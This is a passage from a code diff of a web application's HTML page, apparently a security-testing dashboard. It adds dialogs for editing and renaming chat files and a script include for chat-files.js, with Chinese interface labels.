<label for="knowledge-indexing-retry-delay-ms" data-i18n="settingsBasic.retryDelay">重试间隔(毫秒)</label>
|
||||
<input type="number" id="knowledge-indexing-retry-delay-ms" min="0" max="10000" data-i18n="settingsBasic.retryDelayPlaceholder" data-i18n-attr="placeholder" placeholder="1000" />
|
||||
<small class="form-hint" data-i18n="settingsBasic.retryDelayHint">重试间隔毫秒数(默认 1000),每次重试会递增延迟</small>
|
||||
</div> </div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="settings-actions">
|
||||
<button class="btn-primary" onclick="applySettings()" data-i18n="settings.apply.button">应用配置</button>
|
||||
@@ -1707,6 +1782,42 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="chat-files-edit-modal" class="modal">
|
||||
<div class="modal-content" style="max-width: 720px;">
|
||||
<div class="modal-header">
|
||||
<h2 data-i18n="chatFilesPage.editTitle">编辑文件</h2>
|
||||
<span class="modal-close" onclick="closeChatFilesEditModal()">×</span>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<p class="chat-files-modal-path"><code id="chat-files-edit-path"></code></p>
|
||||
<textarea id="chat-files-edit-textarea" class="form-control chat-files-edit-textarea" rows="18"></textarea>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn-secondary" onclick="closeChatFilesEditModal()" data-i18n="common.cancel">取消</button>
|
||||
<button type="button" class="btn-primary" onclick="saveChatFilesEdit()" data-i18n="common.save">保存</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="chat-files-rename-modal" class="modal">
|
||||
<div class="modal-content" style="max-width: 480px;">
|
||||
<div class="modal-header">
|
||||
<h2 data-i18n="chatFilesPage.renameTitle">重命名</h2>
|
||||
<span class="modal-close" onclick="closeChatFilesRenameModal()">×</span>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<label class="chat-files-rename-label">
|
||||
<span data-i18n="chatFilesPage.newFileName">新文件名</span>
|
||||
<input type="text" id="chat-files-rename-input" class="form-control" />
|
||||
</label>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn-secondary" onclick="closeChatFilesRenameModal()" data-i18n="common.cancel">取消</button>
|
||||
<button type="button" class="btn-primary" onclick="submitChatFilesRename()" data-i18n="common.ok">确定</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Marked.js for Markdown parsing -->
|
||||
<script src="https://cdn.jsdelivr.net/npm/marked@11.1.1/marked.min.js"></script>
|
||||
<!-- DOMPurify for HTML sanitization to prevent XSS -->
|
||||
@@ -2314,6 +2425,7 @@ version: 1.0.0<br>
|
||||
<script src="/static/js/skills.js"></script>
|
||||
<script src="/static/js/vulnerability.js?v=4"></script>
|
||||
<script src="/static/js/webshell.js"></script>
|
||||
<script src="/static/js/chat-files.js"></script>
|
||||
<script src="/static/js/tasks.js"></script>
|
||||
<script src="/static/js/roles.js"></script>
|
||||
</body>
|
||||
|
||||
Reference in New Issue
Block a user